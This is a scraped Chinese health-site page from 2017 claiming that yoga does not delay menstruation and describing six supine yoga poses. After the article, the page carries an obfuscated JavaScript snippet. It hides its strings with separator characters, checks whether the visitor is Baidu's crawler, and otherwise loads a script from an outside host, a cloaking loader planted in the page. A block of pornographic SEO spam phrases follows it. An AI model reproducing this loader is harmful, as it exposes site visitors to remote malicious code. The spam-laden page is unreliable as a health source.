當前位置:首頁 > 健康 > 運動健身 > 正文

練瑜伽真的會推遲月經嗎?

2017-04-14 17:10:33  來源:360常識網   熱度:
導語:瑜伽是很有利于健康的一項運動,但是在練習的時候還是有一定的注意事項。并不是所有人都適合練習瑜伽的,比如心血管疾病患者、嬰兒、老年人

瑜伽是很有利于健康的一項運動,但是在練習的時候還是有一定的注意事項。并不是所有人都適合練習瑜伽的,比如心血管疾病患者、嬰兒、老年人、炎癥患者等等都不是很適合練習瑜伽。瑜伽的好處很多,但是如果學習的不好也可能會對身體造成傷害,那么練習瑜伽會導致月經延遲嗎?

在經期和孕期的女性都是可以進行瑜伽的,而且可以調整內分泌狀態,并不會導致月經延遲或者月經不調。

1、仰臥扭轉

仰臥,腿部撐直,雙手抱住頭部后方,右腿伸直置于床上,身體向右側扭轉,并彎曲左腿膝蓋呈90度,使左腿置于右腿的右側,換到另一邊重復做。

2、仰臥抬腿式

仰臥,腿部伸直,雙臂向兩側張開,同時抬高,手指張開,慢慢抬起左腳離地,并用力向后蹬出,維持30秒,換到另一邊重復做。

3、橋式

step1 仰臥,背部著地,雙臂伸直并緊貼身體,膝蓋彎曲,腳掌完全著地,收腹呼吸。

step2 雙臂慢慢撐緊,同時抬起臀部離地,并盡量抬高,使大腿面與身體側呈一條直線,腿部撐直,維持30秒,重復做多次。

4、仰臥伸腿

1 仰臥,背部著地,雙臂伸直緊貼地板,左膝蓋彎曲,左腳掌完全著地,右腿伸直并抬起,使兩大腿面保持在一個水平面,右腳盡量向上方延伸,維持30秒,換到另一邊重復做。

2 慢慢放松身體,同時放低右腳維持60秒鐘,放低右腿,重復做。

5、肩倒立式

仰臥,背部著地,雙臂置于身體兩側,慢慢抬起雙腳離地,并盡量向上抬起,雙手拖住腰部后方,撐起腰部遠離床面,為了保持身體平衡,可彎曲膝蓋。

6、四肢朝天姿勢

仰臥,背部著地,雙臂伸直指向上方,并保持與肩同寬,手掌相對,雙腳并攏,同時伸直雙腿并抬離地板,直至手臂與腿部平行,頭部微微后仰,維持30秒,換到另一邊重復做。

從文中的表述中我們得到了一個結論,練習瑜伽是不能造成月經延遲的。反而還可以起到調理月經不調的作用。瑜伽并沒有很激烈的消耗量,來月經的時候只要不做翻轉、倒立等高難度的動作,對女性的身體都是沒有什么影響的。所以在經期和懷孕期間都是可以進行瑜伽的練習的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
97精品久久天干天天蜜| 精品免费AV一区二区三区| 中文字幕精品久久久久人妻| 91精品免费在线观看| 国产午夜福利精品久久2021 | 国产精品女在线观看| 嫩草伊人久久精品少妇AV| 亚洲精品国产日韩无码AV永久免费网 | 国内精品伊人久久久久妇| 亚洲av午夜福利精品一区| 热综合一本伊人久久精品| 亚洲人精品亚洲人成在线| 久久精品视频大全| 国产成人精品综合在线观看| 国产日产欧产精品精品蜜芽| 久久精品国产亚洲av麻豆小说 | 四虎永久在线精品免费一区二区| 久久国产乱子伦精品免费不卡 | 人妻少妇精品视频一区二区三区| 亚洲精品亚洲人成在线观看下载| 久久久一本精品99久久精品36| 久久免费的精品国产V∧| 国产亚洲精品无码拍拍拍色欲| 国产乱人伦app精品久久| 国产精品大尺度尺度视频| 久久久国产精品亚洲一区| 精品日产一区二区三区手机| 国产精品亚洲不卡一区二区三区 | 91精品久久久久久久久久小网站| 亚洲精品你懂的在线观看| www好男人精品视频在线观看| 国产Av一区二区精品久久| 成人精品一区二区户外勾搭野战| 久久久精品人妻一区二区三区四| 久久亚洲精品视频| 国内精品伊人久久久久AV影院| 久久国产精品一区| 亚洲国产午夜中文字幕精品黄网站 | 亚洲一二成人精品区| 国产AV无码专区亚洲精品 | 精品国产_亚洲人成在线|